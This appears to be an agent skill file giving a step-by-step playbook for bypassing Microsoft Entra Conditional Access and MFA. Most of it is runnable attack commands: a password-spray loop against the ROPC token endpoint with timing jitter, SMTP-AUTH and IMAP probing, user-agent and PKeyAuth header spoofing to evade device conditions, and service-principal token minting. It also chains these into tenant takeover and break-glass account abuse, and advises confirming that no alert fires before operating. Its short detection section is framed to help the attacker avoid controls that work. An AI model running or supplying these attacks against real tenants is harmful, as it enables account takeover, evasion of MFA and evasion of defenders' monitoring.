| name | entra-conditional-access-bypass |
| description | Entra Conditional Access bypass — discover policy gaps, exploit legacy-auth protocols (IMAP/POP/SMTP-AUTH/EWS), spoof device/platform/UA/location conditions, abuse service-principals + app-based auth excluded from CA, and break-glass account misuse. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"conditional access ca bypass legacy auth basic auth imap pop smtp ews activesync device compliance trusted location user agent break glass service principal app auth mfa bypass","subdomain":"cloud","tags":"azure, entra-id, conditional-access, mfa-bypass","mitre_attack":"T1556, T1078.004, T1550.001, T1199"} |
Entra Conditional Access Bypass
Conditional Access (CA) policies gate sign-ins by user/app/platform/location/device. Bypasses come from the gaps in policy scoping — legacy protocols not covered, service-principal flows out of scope, device/UA conditions spoofable, break-glass accounts excluded.
Phase 1: Enumerate the policy surface
Authenticated (Graph)
TOKEN=<GLOBAL_READER_OR_SECREADER>
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/beta/policies/conditionalAccessPolicies" \
| jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'
Authenticated (roadrecon)
roadrecon plugin policies > capolicies.json
Unauth signals
Sign-in failure error codes reveal CA:
AADSTS53003 = blocked by Conditional Access — confirms a policy fired
AADSTS50158 = external security challenge required (MFA-by-CA)
AADSTS50053 = locked → smart-lockout, not CA
AADSTS500011 = resource principal not found in tenant → app exclusion path
- No
53003 across many protocols + locations → CA has gaps
Phase 2: Legacy auth bypass (basic auth survival)
Despite "basic auth deprecation", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over oauth2/token is also frequently NOT covered by CA (CA gates Browser + Modern auth clients, but ROPC sneaks through if the policy doesn't include Other clients).
ROPC spray (no MFA prompt)
TARGET=<TARGET>; TENANT=<TENANT>
for u in $(cat valid_users.txt); do
for p in $(cat pwlist.txt); do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}")
if echo "$r" | jq -e .access_token >/dev/null; then echo "WIN: $u:$p"; break; fi
sleep $((RANDOM % 3 + 4))
done
done
SMTP-AUTH (Exchange Online)
swaks --server smtp.office365.com:587 --tls --auth LOGIN \
--auth-user <UPN> --auth-password '<PW>' \
--from <UPN> --to <UPN> --header "Subject: t" --body t
IMAP / POP
openssl s_client -crlf -connect outlook.office365.com:993
EWS / Autodiscover with NTLM-over-OAuth
Invoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -Verbose
Phase 3: Device / platform spoofing
CA "require compliant device" + "platform = Windows" rely on UA + x-ms-DeviceType headers — spoofable when the tenant lacks device certificate enforcement.
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0" \
-H "x-ms-PKeyAuth: 1.0" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&grant_type=password&username=<UPN>&password=<PW>&scope=https://graph.microsoft.com/.default"
PKeyAuth spoof — without the actual device cert, this only works against CAs that just check the advertised platform, not device compliance state (very common misconfig).
Trusted-location bypass
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" | jq '.[]|{n:.displayName,r:.ipRanges}'
Phase 4: Service-principal / app-based bypass
CA historically scoped to USERS only. Workload Identity CA exists but is rarely enforced — service principals with Application.ReadWrite.All etc. authenticate as the app, no user, no MFA, no CA (unless Workload Identity CA is configured with Sign-in risk policies).
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "client_id=<APP_ID>&client_secret=<SECRET>&grant_type=client_credentials&scope=https://graph.microsoft.com/.default"
See entra-privesc § service-principal credential addition for how to mint that secret.
Phase 5: Break-glass account abuse
Best practice: 2 BG accounts excluded from ALL CA + MFA, monitored by a SIEM alert. Reality: alert is misconfigured or the BG password is in a Confluence page / shared vault. Hunt:
jq '.value[] | select(.grantControls.builtInControls | tostring | contains("mfa")) | .conditions.users.excludeUsers' capolicies.json | sort -u
If BG creds are recovered → unrestricted Global Admin login from any IP, no MFA.
Chains
entra-enum spray (no 53003) → ROPC password spray → mailbox (CA gap on Other clients).
- Phished low-priv user with Application.ReadWrite.All → mint app cert → app-token bypasses all user CA → tenant takeover.
- Discover BG account UPN → search internal wiki → unrestricted sign-in.
- CA excludes
Microsoft Azure Management for emergency cases → use that client_id for ARM ops while avoiding MFA.
Tools
- MSOLSpray / TeamFiltration — ROPC password spray with CA-aware error parsing.
- MailSniper — EWS legacy-protocol pillage.
- AADInternals
Invoke-AADIntPhoneSubscriberAuth — Phone-Subscriber-Auth bypass (deprecated but still works in some tenants).
- roadtx — arbitrary
client_id + scope auth → CA-exclusion exploitation.
- swaks — SMTP-AUTH probing.
Detection signatures
- Sign-in log:
Client app = Other clients with successful auth → ROPC/legacy auth survived.
- Many
53003 failures from same IP → CA working; pivot away from that protocol/app combo.
- Successful sign-in from break-glass account without a corresponding Sentinel alert → silent BG abuse.
- App sign-in (
Service principal sign-ins table) from non-corp IP → SP credential abuse — distinct table, often un-monitored.
Decision gate
- All sign-ins return
53003 regardless of protocol → CA is tight; pivot to phishing (entra-device-code-phishing).
- ROPC succeeds for
Microsoft Azure CLI client_id but not browser → CA scoped to browser only — use CLI tokens for everything.
- Found an excluded SP with
RoleManagement.ReadWrite.Directory → escalate via entra-privesc.
- BG account inventory hit → log in once from a sacrificial IP to verify no alert fires, then operate from that account.